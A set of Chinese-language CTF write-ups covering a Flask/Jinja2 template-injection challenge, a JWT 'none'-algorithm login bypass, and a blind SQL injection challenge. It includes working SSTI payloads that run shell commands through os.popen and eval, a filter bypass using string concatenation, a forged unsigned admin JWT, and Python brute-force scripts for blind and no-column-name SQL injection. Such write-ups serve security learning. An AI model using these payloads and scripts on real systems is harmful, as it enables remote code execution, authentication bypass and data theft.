[CSCCTF 2019 Qual]FlaskLight
知识点
- SSTI
- flask模板
启动:
进入环境,f12可以看到提示get传参search。猜测是个flask的模板注入。
再根据题目等提示 :flask模板,测试一下
接下来就是正常的SSTI注入的测试,注到{{[].__class__.__bases__[0].__subclasses__()}}
这里列出了所有的类,
找了一个经常用的用来RCE的类,发现真的存在,然后继续注,但是不行了,返回了500。
然后我又把后面的.__init__.__globals__['popen']('ls').read()
分别测试了一下看看哪里出了问题,发现好像过滤了globals,就有点懵。最后查看WP
编写脚本查找可利用的类
利用subprocess.Popen执行命令
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
例一:
warnings.catch_warnings
类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]
最后获取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
例二:
class’site._Printer’
类
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
获取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
例三:
popen
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
[HFCTF2020]EasyLogin -wp
app.js代码学习
首先是/static/js/app.js的代码。
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
一句一句的学
第一部分
const username = $("#username").val();
const password = $("#password").val();
const作用和var作用相似,但是const赋的值必须初始化且不可修改。
$("#username")为id选择器,获得id为userName的标签,通过.val(),获得这个标签的value的值,赋值给你声明的变量const username
第二部分
const token = sessionStorage.getItem("token");
第三部分
$.post("/api/login", {username, password, authorization:token})
传送门
也就是使用post访问,前面为url,后面为参数。
第四部分
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
然后是是done方法和fail方法,成功了就重定位到/home目录,失败了就返回异常信息。
const {status} = data;
查了查这个花括号的作用,如下:
然后后面的代码基本都看得懂了
controllers/api.js部分学习
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
登录的时候生成了一个jwt令牌 jwt讲解:
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
然后是admin的话,会输出flag
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
于是将算法修改为none进行攻击
在登录页面抓包,更改包
payload:
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
然后用生成的cookie访问,即可拿到flag
解题过程参考链接:WP
[GYCTF2020]Ezsqli
知识点
- SQL注入
- 绕过information的过滤
- ascii偏移
启动:
据题目意思已经很明显是SQL注入了
fuzz一波,
过滤了好多东西,包括用来查询的information关键词,基本上就是考虑盲注了
尝试异或注入
发现可行,
他过滤or 我们的information就不能用了
换成innodb_table_stats绕过也无果
发现sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer可以替代上面那个,果然条条道路通罗马
接下来就可以写脚本判断表名了
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break
并且这里还过滤了join,查列就非常困难了
但是这个只能查表,接着就只能用无列名注入了
对构造盲注无列名注入了解的还不够彻底
无列名注入讲解
盲注无列名构造 参考文章
Y1ng师傅参考文献
payload
1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1
原理大概就是使用单引号里面的字母与表中数据的字母进行比较,其实就是进行ascii的比较,比如:
b>a
abd>abc
baaaa>abbb //第一个字母大就整体判断为大,如果第一个字母相同再对第二个进行比较。
那么进过了简单的手工尝试可以知道前面几位为FLAG{
那么后面的用脚本跑一下即可。
buu的环境访问太快会429,可以慢慢来,跑出几位就网flag里加几个,慢慢的可以跑出来。当然有能力直接控制线程当然最好。
exp:
import requests
url = 'http://bb098698-4715-4fbf-853c-23007c53cb41.node3.buuoj.cn/index.php'
flag='FLAG{'
for j in range(1,50):
for x in range(28, 128):
flag1 = flag+chr(x)
payload = "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)
data = {'id': payload}
re = requests.post(url=url, data=data)
if 'Nu1L' in re.text:
break;
flag += chr(x-1)
print(flag)
print(flag.lower()) #因为出来的flag是大写,这边全部转为小写